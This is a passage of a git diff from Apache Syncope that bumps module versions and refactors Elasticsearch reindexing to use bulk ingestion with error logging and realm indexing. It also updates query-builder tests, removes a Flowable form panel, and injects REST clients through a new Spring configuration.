QueryBuilders.term().field("id").value("1").build()).build()). + queries(new Query.Builder().term( + QueryBuilders.term().field("id").value("2").build()).build()). + queries(new Query.Builder().term( + QueryBuilders.term().field("id").value("3").build()).build()).build()). + build()). + filter(new Query.Builder().disMax(QueryBuilders.disMax(). + queries(new Query.Builder().term( + QueryBuilders.term().field("id").value("4").build()).build()). + queries(new Query.Builder().term( + QueryBuilders.term().field("id").value("5").build()).build()). + queries(new Query.Builder().term( + QueryBuilders.term().field("id").value("6").build()).build()).build()). + build()). + build()).build()). + usingRecursiveComparison().isEqualTo(query); + + query = searchDAO.getQuery( + SearchCond.getOr(List.of( + SearchCond.getAnd(List.of( + SearchCond.getLeaf(cond1), + SearchCond.getLeaf(cond2), + SearchCond.getLeaf(cond3))), + SearchCond.getAnd(List.of( + SearchCond.getLeaf(cond4), + SearchCond.getLeaf(cond5), + SearchCond.getLeaf(cond6))))), + AnyTypeKind.USER); + assertEquals(Query.Kind.DisMax, query._kind()); + assertEquals(2, ((DisMaxQuery) query._get()).queries().size()); + left = ((DisMaxQuery) query._get()).queries().get(0); + assertEquals(Query.Kind.Bool, left._kind()); + assertEquals(3, ((BoolQuery) left._get()).filter().size()); + right = ((DisMaxQuery) query._get()).queries().get(1); + assertEquals(Query.Kind.Bool, right._kind()); + assertEquals(3, ((BoolQuery) right._get()).filter().size()); + assertThat( + new Query.Builder().disMax(QueryBuilders.disMax(). + queries(new Query.Builder().bool(QueryBuilders.bool(). + filter(new Query.Builder().term( + QueryBuilders.term().field("id").value("1").build()).build()). + filter(new Query.Builder().term( + QueryBuilders.term().field("id").value("2").build()).build()). + filter(new Query.Builder().term( + QueryBuilders.term().field("id").value("3").build()).build()).build()). + build()). + queries(new Query.Builder().bool(QueryBuilders.bool(). + filter(new Query.Builder().term( + QueryBuilders.term().field("id").value("4").build()).build()). + filter(new Query.Builder().term( + QueryBuilders.term().field("id").value("5").build()).build()). + filter(new Query.Builder().term( + QueryBuilders.term().field("id").value("6").build()).build()).build()). + build()). build()).build()). - usingRecursiveComparison().isEqualTo(request.query()); + usingRecursiveComparison().isEqualTo(query); } } } diff --git a/ext/elasticsearch/pom.xml b/ext/elasticsearch/pom.xml index d5d61dfc869..69625f3afb5 100644 --- a/ext/elasticsearch/pom.xml +++ b/ext/elasticsearch/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-ext - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: Elasticsearch diff --git a/ext/elasticsearch/provisioning-java/pom.xml b/ext/elasticsearch/provisioning-java/pom.xml index 419a4533ad0..11a831e29da 100644 --- a/ext/elasticsearch/provisioning-java/pom.xml +++ b/ext/elasticsearch/provisioning-java/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-elasticsearch - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: Elasticsearch Provisioning Java diff --git a/ext/elasticsearch/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/ElasticsearchReindex.java b/ext/elasticsearch/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/ElasticsearchReindex.java index 8addb804ef6..8e9d98085ee 100644 --- a/ext/elasticsearch/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/ElasticsearchReindex.java +++ b/ext/elasticsearch/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/ElasticsearchReindex.java @@ -19,16 +19,24 @@ package org.apache.syncope.core.provisioning.java.job; import co.elastic.clients.elasticsearch.ElasticsearchClient; +import co.elastic.clients.elasticsearch._helpers.bulk.BulkIngester; +import co.elastic.clients.elasticsearch._helpers.bulk.BulkListener; +import co.elastic.clients.elasticsearch._types.ErrorCause; import co.elastic.clients.elasticsearch._types.mapping.TypeMapping; -import co.elastic.clients.elasticsearch.core.IndexRequest; -import co.elastic.clients.elasticsearch.core.IndexResponse; +import co.elastic.clients.elasticsearch.core.BulkRequest; +import co.elastic.clients.elasticsearch.core.BulkResponse; +import co.elastic.clients.elasticsearch.core.bulk.BulkResponseItem; import co.elastic.clients.elasticsearch.indices.IndexSettings; import java.io.IOException; -import java.util.Map; +import java.util.List; +import java.util.Objects; +import java.util.stream.Collectors; +import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.core.persistence.api.dao.AnyDAO; import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.entity.task.SchedTask; import org.apache.syncope.core.persistence.api.entity.task.TaskExec; @@ -44,6 +52,44 @@ */ public class ElasticsearchReindex extends AbstractSchedTaskJobDelegate { + protected static class ErrorLoggingBulkListener implements BulkListener { + + protected static final ErrorLoggingBulkListener INSTANCE = new ErrorLoggingBulkListener(); + + @Override + public void beforeBulk( + final long executionId, + final BulkRequest request, + final List contexts) { + + // do nothing + } + + @Override + public void afterBulk( + final long executionId, + final BulkRequest request, + final List contexts, + final BulkResponse response) { + + if (response.errors()) { + String details = response.items().stream().map(BulkResponseItem::error). + filter(Objects::nonNull).map(ErrorCause::toString).collect(Collectors.joining(", ")); + LOG.error("Errors found for request {}; details: {}", executionId, details); + } + } + + @Override + public void afterBulk( + final long executionId, + final BulkRequest request, + final List contexts, + final Throwable failure) { + + LOG.error("Bulk request {} failed", executionId, failure); + } + } + @Autowired protected ElasticsearchClient client; @@ -62,6 +108,9 @@ public class ElasticsearchReindex extends AbstractSchedTaskJobDelegate reindexRealms() throws IOException { + indexManager.createRealmIndex(AuthContextUtils.getDomain(), realmSettings(), realmMapping()); + + int count = realmDAO.count(); + String index = ElasticsearchUtils.getRealmIndex(AuthContextUtils.getDomain()); + setStatus("Indexing " + count + " realms under " + index + "..."); + + try (BulkIngester ingester = BulkIngester.of(b -> b.client(client). + maxOperations(AnyDAO.DEFAULT_PAGE_SIZE).listener(ErrorLoggingBulkListener.INSTANCE))) { + + for (int page = 1; page <= (count / AnyDAO.DEFAULT_PAGE_SIZE) + 1; page++) { + for (String realm : realmDAO.findAllKeys(page, AnyDAO.DEFAULT_PAGE_SIZE)) { + ingester.add(op -> op.index(idx -> idx. + index(index). + id(realm). + document(utils.document(realmDAO.find(realm))))); + } + } + } catch (Exception e) { + LOG.error("Errors while ingesting index {}", index, e); + } + + return Pair.of(index, count); + } + + protected Pair reindexUsers() throws IOException { + indexManager.createAnyIndex(AuthContextUtils.getDomain(), AnyTypeKind.USER, userSettings(), userMapping()); + + int count = userDAO.count(); + String index = ElasticsearchUtils.getAnyIndex(AuthContextUtils.getDomain(), AnyTypeKind.USER); + setStatus("Indexing " + count + " users under " + index + "..."); + + try (BulkIngester ingester = BulkIngester.of(b -> b.client(client). + maxOperations(AnyDAO.DEFAULT_PAGE_SIZE).listener(ErrorLoggingBulkListener.INSTANCE))) { + + for (int page = 1; page <= (count / AnyDAO.DEFAULT_PAGE_SIZE) + 1; page++) { + for (String user : userDAO.findAllKeys(page, AnyDAO.DEFAULT_PAGE_SIZE)) { + ingester.add(op -> op.index(idx -> idx. + index(index). + id(user). + document(utils.document(userDAO.find(user))))); + } + } + } catch (Exception e) { + LOG.error("Errors while ingesting index {}", index, e); + } + + return Pair.of(index, count); + } + + protected Pair reindexGroups() throws IOException { + indexManager.createAnyIndex(AuthContextUtils.getDomain(), AnyTypeKind.GROUP, groupSettings(), groupMapping()); + + int count = groupDAO.count(); + String index = ElasticsearchUtils.getAnyIndex(AuthContextUtils.getDomain(), AnyTypeKind.GROUP); + setStatus("Indexing " + count + " groups under " + index + "..."); + + try (BulkIngester ingester = BulkIngester.of(b -> b.client(client). + maxOperations(AnyDAO.DEFAULT_PAGE_SIZE).listener(ErrorLoggingBulkListener.INSTANCE))) { + + for (int page = 1; page <= (count / AnyDAO.DEFAULT_PAGE_SIZE) + 1; page++) { + for (String group : groupDAO.findAllKeys(page, AnyDAO.DEFAULT_PAGE_SIZE)) { + ingester.add(op -> op.index(idx -> idx. + index(index). + id(group). + document(utils.document(groupDAO.find(group))))); + } + } + } catch (Exception e) { + LOG.error("Errors while ingesting index {}", index, e); + } + + return Pair.of(index, count); + } + + protected Pair reindexAnyObjects() throws IOException { + indexManager.createAnyIndex( + AuthContextUtils.getDomain(), AnyTypeKind.ANY_OBJECT, anyObjectSettings(), anyObjectMapping()); + + int count = anyObjectDAO.count(); + String index = ElasticsearchUtils.getAnyIndex(AuthContextUtils.getDomain(), AnyTypeKind.ANY_OBJECT); + setStatus("Indexing " + count + " any objects under " + index + "..."); + + try (BulkIngester ingester = BulkIngester.of(b -> b.client(client). + maxOperations(AnyDAO.DEFAULT_PAGE_SIZE).listener(ErrorLoggingBulkListener.INSTANCE))) { + + for (int page = 1; page <= (count / AnyDAO.DEFAULT_PAGE_SIZE) + 1; page++) { + for (String anyObject : anyObjectDAO.findAllKeys(page, AnyDAO.DEFAULT_PAGE_SIZE)) { + ingester.add(op -> op.index(idx -> idx. + index(index). + id(anyObject). + document(utils.document(anyObjectDAO.find(anyObject))))); + } + } + } catch (Exception e) { + LOG.error("Errors while ingesting index {}", index, e); + } + + return Pair.of(index, count); + } + + protected String reindexAudit() throws IOException { + indexManager.createAuditIndex(AuthContextUtils.getDomain(), auditSettings(), auditMapping()); + return ElasticsearchUtils.getAuditIndex(AuthContextUtils.getDomain()); + } + @Override protected String doExecute(final boolean dryRun, final String executor, final JobExecutionContext context) throws JobExecutionException { if (!dryRun) { - LOG.debug("Start rebuilding indexes"); + setStatus("Start rebuilding indexes"); try { - indexManager.createAnyIndex( - AuthContextUtils.getDomain(), AnyTypeKind.USER, userSettings(), userMapping()); - - indexManager.createAnyIndex( - AuthContextUtils.getDomain(), AnyTypeKind.GROUP, groupSettings(), groupMapping()); - - indexManager.createAnyIndex( - AuthContextUtils.getDomain(), AnyTypeKind.ANY_OBJECT, anyObjectSettings(), anyObjectMapping()); - - LOG.debug("Indexing users..."); - for (int page = 1; page <= (userDAO.count() / AnyDAO.DEFAULT_PAGE_SIZE) + 1; page++) { - for (String user : userDAO.findAllKeys(page, AnyDAO.DEFAULT_PAGE_SIZE)) { - IndexRequest> request = new IndexRequest.Builder>(). - index(ElasticsearchUtils.getAnyIndex(AuthContextUtils.getDomain(), AnyTypeKind.USER)). - id(user). - document(utils.document(userDAO.find(user), AuthContextUtils.getDomain())). - build(); - try { - IndexResponse response = client.index(request); - LOG.debug("Index successfully created for {}: {}", user, response); - } catch (Exception e) { - LOG.error("Could not create index for {} {}", AnyTypeKind.USER, user, e); - } - } - } + Pair rindex = reindexRealms(); - LOG.debug("Indexing groups..."); - for (int page = 1; page <= (groupDAO.count() / AnyDAO.DEFAULT_PAGE_SIZE) + 1; page++) { - for (String group : groupDAO.findAllKeys(page, AnyDAO.DEFAULT_PAGE_SIZE)) { - IndexRequest> request = new IndexRequest.Builder>(). - index(ElasticsearchUtils.getAnyIndex(AuthContextUtils.getDomain(), AnyTypeKind.GROUP)). - id(group). - document(utils.document(groupDAO.find(group), AuthContextUtils.getDomain())). - build(); - try { - IndexResponse response = client.index(request); - LOG.debug("Index successfully created for {}: {}", group, response); - } catch (Exception e) { - LOG.error("Could not create index for {} {}", AnyTypeKind.GROUP, group, e); - } - } - } + Pair uindex = reindexUsers(); - LOG.debug("Indexing any objects..."); - for (int page = 1; page <= (anyObjectDAO.count() / AnyDAO.DEFAULT_PAGE_SIZE) + 1; page++) { - for (String anyObject : anyObjectDAO.findAllKeys(page, AnyDAO.DEFAULT_PAGE_SIZE)) { - IndexRequest> request = new IndexRequest.Builder>(). - index(ElasticsearchUtils.getAnyIndex( - AuthContextUtils.getDomain(), AnyTypeKind.ANY_OBJECT)). - id(anyObject). - document(utils.document(anyObjectDAO.find(anyObject), AuthContextUtils.getDomain())). - build(); - try { - IndexResponse response = client.index(request); - LOG.debug("Index successfully created for {}: {}", anyObject, response); - } catch (Exception e) { - LOG.error("Could not create index for {} {}", AnyTypeKind.ANY_OBJECT, anyObject, e); - } - } - } + Pair gindex = reindexGroups(); + + Pair aindex = reindexAnyObjects(); + + String audit = reindexAudit(); - indexManager.createAuditIndex( - AuthContextUtils.getDomain(), auditSettings(), auditMapping()); + setStatus("Rebuild indexes for domain " + AuthContextUtils.getDomain() + " successfully completed"); - LOG.debug("Rebuild indexes for domain {} successfully completed", AuthContextUtils.getDomain()); + return "Indexes created:\n" + + " " + rindex.getLeft() + " [" + rindex.getRight() + "]\n" + + " " + uindex.getLeft() + " [" + uindex.getRight() + "]\n" + + " " + gindex.getLeft() + " [" + gindex.getRight() + "]\n" + + " " + aindex.getLeft() + " [" + aindex.getRight() + "]\n" + + " " + audit; } catch (Exception e) { throw new JobExecutionException("While rebuilding index for domain " + AuthContextUtils.getDomain(), e); } diff --git a/ext/flowable/client-common-ui/src/main/java/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel.java b/ext/flowable/client-common-ui/src/main/java/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel.java deleted file mode 100644 index 12310992e86..00000000000 --- a/ext/flowable/client-common-ui/src/main/java/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel.java +++ /dev/null @@ -1,215 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.ext.client.common.ui.panels; - -import java.text.ParseException; -import java.util.Date; -import java.util.List; -import java.util.stream.Collectors; -import org.apache.commons.lang3.StringUtils; -import org.apache.commons.lang3.math.NumberUtils; -import org.apache.commons.lang3.time.FastDateFormat; -import org.apache.syncope.client.ui.commons.MapChoiceRenderer; -import org.apache.syncope.client.ui.commons.markup.html.form.AjaxDateTimeFieldPanel; -import org.apache.syncope.client.ui.commons.markup.html.form.AjaxDropDownChoicePanel; -import org.apache.syncope.client.ui.commons.markup.html.form.AjaxPasswordFieldPanel; -import org.apache.syncope.client.ui.commons.markup.html.form.AjaxSpinnerFieldPanel; -import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; -import org.apache.syncope.client.ui.commons.markup.html.form.FieldPanel; -import org.apache.syncope.common.lib.to.UserRequestForm; -import org.apache.syncope.common.lib.to.UserRequestFormProperty; -import org.apache.syncope.common.lib.to.UserRequestFormPropertyValue; -import org.apache.syncope.common.lib.types.IdRepoEntitlement; -import org.apache.wicket.ajax.AjaxRequestTarget; -import org.apache.wicket.ajax.markup.html.AjaxLink; -import org.apache.wicket.authroles.authorization.strategies.role.metadata.MetaDataRoleAuthorizationStrategy; -import org.apache.wicket.markup.html.list.ListItem; -import org.apache.wicket.markup.html.list.ListView; -import org.apache.wicket.markup.html.panel.Panel; -import org.apache.wicket.model.IModel; -import org.apache.wicket.model.LoadableDetachableModel; -import org.apache.wicket.model.PropertyModel; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -public abstract class UserRequestFormPanel extends Panel { - - private static final long serialVersionUID = -8847854414429745216L; - - protected static final Logger LOG = LoggerFactory.getLogger(UserRequestFormPanel.class); - - public UserRequestFormPanel(final String id, final UserRequestForm form) { - this(id, form, true); - } - - public UserRequestFormPanel(final String id, final UserRequestForm form, final boolean showDetails) { - super(id); - - IModel> formProps = new LoadableDetachableModel<>() { - - private static final long serialVersionUID = 3169142472626817508L; - - @Override - protected List load() { - return form.getProperties(); - } - }; - - ListView propView = new ListView<>("propView", formProps) { - - private static final long serialVersionUID = 9101744072914090143L; - - @Override - @SuppressWarnings({ "unchecked", "rawtypes" }) - protected void populateItem(final ListItem item) { - final UserRequestFormProperty prop = item.getModelObject(); - - String label = StringUtils.isBlank(prop.getName()) ? prop.getId() : prop.getName(); - - FieldPanel field; - switch (prop.getType()) { - case Boolean: - field = new AjaxDropDownChoicePanel("value", label, new PropertyModel(prop, "value") { - - private static final long serialVersionUID = -3743432456095828573L; - - @Override - public String getObject() { - return StringUtils.isBlank(prop.getValue()) - ? null - : prop.getValue().equals("true") ? "Yes" : "No"; - } - - @Override - public void setObject(final String object) { - prop.setValue(String.valueOf(object.equalsIgnoreCase("yes"))); - } - - }, false).setChoices(List.of("Yes", "No")); - break; - - case Date: - FastDateFormat formatter = FastDateFormat.getInstance(prop.getDatePattern()); - field = new AjaxDateTimeFieldPanel("value", label, new PropertyModel<>(prop, "value") { - - private static final long serialVersionUID = -3743432456095828573L; - - @Override - public Date getObject() { - try { - return StringUtils.isBlank(prop.getValue()) - ? null - : formatter.parse(prop.getValue()); - } catch (ParseException e) { - LOG.error("Unparsable date: {}", prop.getValue(), e); - return null; - } - } - - @Override - public void setObject(final Date object) { - prop.setValue(formatter.format(object)); - } - }, formatter); - break; - - case Enum: - field = new AjaxDropDownChoicePanel( - "value", label, new PropertyModel(prop, "value"), false). - setChoiceRenderer(new MapChoiceRenderer(prop.getEnumValues().stream(). - collect(Collectors.toMap( - UserRequestFormPropertyValue::getKey, - UserRequestFormPropertyValue::getValue)))). - setChoices(prop.getEnumValues().stream(). - map(UserRequestFormPropertyValue::getKey).collect(Collectors.toList())); - break; - - case Dropdown: - field = new AjaxDropDownChoicePanel( - "value", label, new PropertyModel(prop, "value"), false). - setChoiceRenderer(new MapChoiceRenderer(prop.getDropdownValues().stream(). - collect(Collectors.toMap( - UserRequestFormPropertyValue::getKey, - UserRequestFormPropertyValue::getValue)))). - setChoices(prop.getDropdownValues().stream(). - map(UserRequestFormPropertyValue::getKey).collect(Collectors.toList())); - break; - - case Long: - field = new AjaxSpinnerFieldPanel.Builder().build( - "value", - label, - Long.class, - new PropertyModel<>(prop, "value") { - - private static final long serialVersionUID = -7688359318035249200L; - - @Override - public Long getObject() { - return StringUtils.isBlank(prop.getValue()) - ? null - : NumberUtils.toLong(prop.getValue()); - } - - @Override - public void setObject(final Long object) { - prop.setValue(String.valueOf(object)); - } - }); - break; - - case Password: - field = new AjaxPasswordFieldPanel("value", label, new PropertyModel<>(prop, "value"), false); - break; - - case String: - default: - field = new AjaxTextFieldPanel("value", label, new PropertyModel<>(prop, "value"), false); - break; - } - - field.setReadOnly(!prop.isWritable()); - if (prop.isRequired()) { - field.addRequiredLabel(); - } - - item.add(field); - } - }; - - AjaxLink userDetails = new AjaxLink<>("userDetails") { - - private static final long serialVersionUID = -4804368561204623354L; - - @Override - public void onClick(final AjaxRequestTarget target) { - viewDetails(target); - } - }; - MetaDataRoleAuthorizationStrategy.authorize(userDetails, ENABLE, IdRepoEntitlement.USER_READ); - - boolean enabled = form.getUserTO() != null; - userDetails.setVisible(enabled && showDetails).setEnabled(enabled); - - add(propView); - add(userDetails); - } - - protected abstract void viewDetails(AjaxRequestTarget target); -} diff --git a/ext/flowable/client-console/pom.xml b/ext/flowable/client-console/pom.xml index 8afbb5f2b1b..8ffd4db6658 100644 --- a/ext/flowable/client-console/pom.xml +++ b/ext/flowable/client-console/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-flowable - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: Flowable Client Console @@ -45,11 +45,6 @@ under the License. provided - - org.apache.syncope.ext.flowable - syncope-ext-flowable-client-common-ui - ${project.version} - org.apache.syncope.ext.flowable syncope-ext-flowable-rest-api diff --git a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/FlowableConsoleContext.java b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/FlowableConsoleContext.java new file mode 100644 index 00000000000..652fd3f52cf --- /dev/null +++ b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/FlowableConsoleContext.java @@ -0,0 +1,69 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console; + +import org.apache.syncope.client.console.resources.BpmnProcessGETResource; +import org.apache.syncope.client.console.resources.BpmnProcessPUTResource; +import org.apache.syncope.client.console.rest.BpmnProcessRestClient; +import org.apache.syncope.client.console.rest.UserRequestRestClient; +import org.apache.syncope.client.console.rest.UserWorkflowTaskRestClient; +import org.apache.syncope.client.console.wizards.any.UserRequestFormFinalizer; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +@Configuration(proxyBeanMethods = false) +public class FlowableConsoleContext { + + @ConditionalOnMissingBean + @Bean + public BpmnProcessRestClient bpmnProcessRestClient() { + return new BpmnProcessRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public UserRequestRestClient userRequestRestClient() { + return new UserRequestRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public UserWorkflowTaskRestClient userWorkflowTaskRestClient() { + return new UserWorkflowTaskRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public BpmnProcessGETResource bpmnProcessGETResource(final BpmnProcessRestClient bpmnProcessRestClient) { + return new BpmnProcessGETResource(bpmnProcessRestClient); + } + + @ConditionalOnMissingBean + @Bean + public BpmnProcessPUTResource bpmnProcessPUTResource(final BpmnProcessRestClient bpmnProcessRestClient) { + return new BpmnProcessPUTResource(bpmnProcessRestClient); + } + + @ConditionalOnMissingBean + @Bean + public UserRequestFormFinalizer userRequestFormFinalizer(final UserRequestRestClient userRequestRestClient) { + return new UserRequestFormFinalizer(userRequestRestClient); + } +} diff --git a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/pages/Flowable.java b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/pages/Flowable.java index 8d3d90f1275..cdd12387220 100644 --- a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/pages/Flowable.java +++ b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/pages/Flowable.java @@ -20,6 +20,7 @@ import org.apache.syncope.client.console.BookmarkablePageLinkBuilder; import org.apache.syncope.client.console.panels.BpmnProcessDirectoryPanel; +import org.apache.syncope.client.console.rest.BpmnProcessRestClient; import org.apache.syncope.client.console.wizards.WizardMgtPanel; import org.apache.syncope.client.ui.commons.annotations.ExtPage; import org.apache.syncope.common.lib.to.BpmnProcess; @@ -27,6 +28,7 @@ import org.apache.wicket.authroles.authorization.strategies.role.metadata.MetaDataRoleAuthorizationStrategy; import org.apache.wicket.markup.html.WebMarkupContainer; import org.apache.wicket.request.mapper.parameter.PageParameters; +import org.apache.wicket.spring.injection.annot.SpringBean; @ExtPage(label = "Flowable", icon = "fa fa-briefcase", listEntitlement = FlowableEntitlement.BPMN_PROCESS_GET, priority = 200) @@ -34,6 +36,9 @@ public class Flowable extends BaseExtPage { private static final long serialVersionUID = -8781434495150074529L; + @SpringBean + protected BpmnProcessRestClient bpmnProcessRestClient; + public Flowable(final PageParameters parameters) { super(parameters); @@ -43,11 +48,12 @@ public Flowable(final PageParameters parameters) { content.setOutputMarkupId(true); body.add(content); - WizardMgtPanel bpmnProcessesPanel = new BpmnProcessDirectoryPanel.Builder(getPageReference()) { + WizardMgtPanel bpmnProcessesPanel = + new BpmnProcessDirectoryPanel.Builder(bpmnProcessRestClient, getPageReference()) { - private static final long serialVersionUID = -5960765294082359003L; + private static final long serialVersionUID = -5960765294082359003L; - }.disableCheckBoxes().build("bpmnProcessesPanel"); + }.disableCheckBoxes().build("bpmnProcessesPanel"); bpmnProcessesPanel.setOutputMarkupPlaceholderTag(true); MetaDataRoleAuthorizationStrategy.authorize(bpmnProcessesPanel, ENABLE, FlowableEntitlement.BPMN_PROCESS_GET); diff --git a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/pages/UserRequests.java b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/pages/UserRequests.java index c5599f3a910..bcac211c1e2 100644 --- a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/pages/UserRequests.java +++ b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/pages/UserRequests.java @@ -25,17 +25,22 @@ import org.apache.syncope.client.console.panels.UserRequestDirectoryPanel; import org.apache.syncope.client.console.panels.UserRequestFormDirectoryPanel; import org.apache.syncope.client.console.panels.UserRequestsPanel; +import org.apache.syncope.client.console.rest.UserRequestRestClient; import org.apache.wicket.extensions.markup.html.tabs.AbstractTab; import org.apache.wicket.extensions.markup.html.tabs.ITab; import org.apache.wicket.markup.html.WebMarkupContainer; import org.apache.wicket.markup.html.panel.Panel; import org.apache.wicket.model.ResourceModel; import org.apache.wicket.request.mapper.parameter.PageParameters; +import org.apache.wicket.spring.injection.annot.SpringBean; public class UserRequests extends BasePage { private static final long serialVersionUID = -1100228004207271271L; + @SpringBean + protected UserRequestRestClient userRequestRestClient; + public UserRequests(final PageParameters parameters) { super(parameters); @@ -48,7 +53,7 @@ public UserRequests(final PageParameters parameters) { body.add(content); } - private List buildTabList() { + protected List buildTabList() { List tabs = new ArrayList<>(); tabs.add(new AbstractTab(new ResourceModel("userRequestForms")) { @@ -57,7 +62,8 @@ private List buildTabList() { @Override public Panel getPanel(final String panelId) { - return new UserRequestsPanel(panelId, new UserRequestFormDirectoryPanel("inner", getPageReference())); + return new UserRequestsPanel(panelId, new UserRequestFormDirectoryPanel( + "inner", userRequestRestClient, getPageReference())); } }); @@ -67,7 +73,8 @@ public Panel getPanel(final String panelId) { @Override public Panel getPanel(final String panelId) { - return new UserRequestsPanel(panelId, new UserRequestDirectoryPanel("inner", getPageReference())); + return new UserRequestsPanel(panelId, new UserRequestDirectoryPanel( + "inner", userRequestRestClient, getPageReference())); } }); diff --git a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/BpmnProcessDirectoryPanel.java b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/BpmnProcessDirectoryPanel.java index d71c33ee150..4761fe9a40d 100644 --- a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/BpmnProcessDirectoryPanel.java +++ b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/BpmnProcessDirectoryPanel.java @@ -32,6 +32,7 @@ import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.client.console.SyncopeConsoleSession; import org.apache.syncope.client.console.SyncopeWebApplication; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.commons.SortableDataProviderComparator; import org.apache.syncope.client.console.pages.BasePage; import org.apache.syncope.client.console.pages.ModelerPopupPage; @@ -44,7 +45,6 @@ import org.apache.syncope.client.console.wicket.markup.html.form.XMLEditorPanel; import org.apache.syncope.client.console.wizards.WizardMgtPanel; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.pages.BaseWebPage; import org.apache.syncope.client.ui.commons.wizards.AjaxWizardBuilder; import org.apache.syncope.common.lib.SyncopeClientException; @@ -173,8 +173,8 @@ public ActionsPanel getActions(final IModel model) { public void onClick(final AjaxRequestTarget target, final BpmnProcess ignore) { final IModel wfDefinition = new Model<>(); try { - wfDefinition.setObject(IOUtils.toString(BpmnProcessRestClient.getDefinition( - MediaType.APPLICATION_XML_TYPE, model.getObject().getKey()))); + wfDefinition.setObject(IOUtils.toString(restClient.getDefinition( + MediaType.APPLICATION_XML_TYPE, model.getObject().getKey()))); } catch (IOException e) { LOG.error("Could not get workflow definition", e); } @@ -188,8 +188,8 @@ public void onClick(final AjaxRequestTarget target, final BpmnProcess ignore) { public void onSubmit(final AjaxRequestTarget target) { if (StringUtils.isNotBlank(wfDefinition.getObject())) { try { - BpmnProcessRestClient.setDefinition(MediaType.APPLICATION_XML_TYPE, - model.getObject().getKey(), wfDefinition.getObject()); + restClient.setDefinition(MediaType.APPLICATION_XML_TYPE, + model.getObject().getKey(), wfDefinition.getObject()); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); target.add(container); @@ -215,7 +215,7 @@ public void onSubmit(final AjaxRequestTarget target) { public void onClick(final AjaxRequestTarget target, final BpmnProcess ignore) { modal.header(Model.of(model.getObject().getKey())); modal.setContent(new ImageModalPanel<>( - modal, BpmnProcessRestClient.getDiagram(model.getObject().getKey()), pageRef)); + modal, restClient.getDiagram(model.getObject().getKey()), pageRef)); modal.show(target); target.add(modal); } @@ -257,7 +257,7 @@ protected boolean statusCondition(final BpmnProcess modelObject) { @Override public void onClick(final AjaxRequestTarget target, final BpmnProcess ignore) { try { - BpmnProcessRestClient.deleteDefinition(model.getObject().getKey()); + restClient.deleteDefinition(model.getObject().getKey()); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); target.add(container); } catch (SyncopeClientException e) { @@ -276,22 +276,7 @@ protected Collection getBatches() { return List.of(); } - public abstract static class Builder - extends DirectoryPanel.Builder { - - private static final long serialVersionUID = 5088962796986706805L; - - public Builder(final PageReference pageRef) { - super(new BpmnProcessRestClient(), pageRef); - } - - @Override - protected WizardMgtPanel newInstance(final String 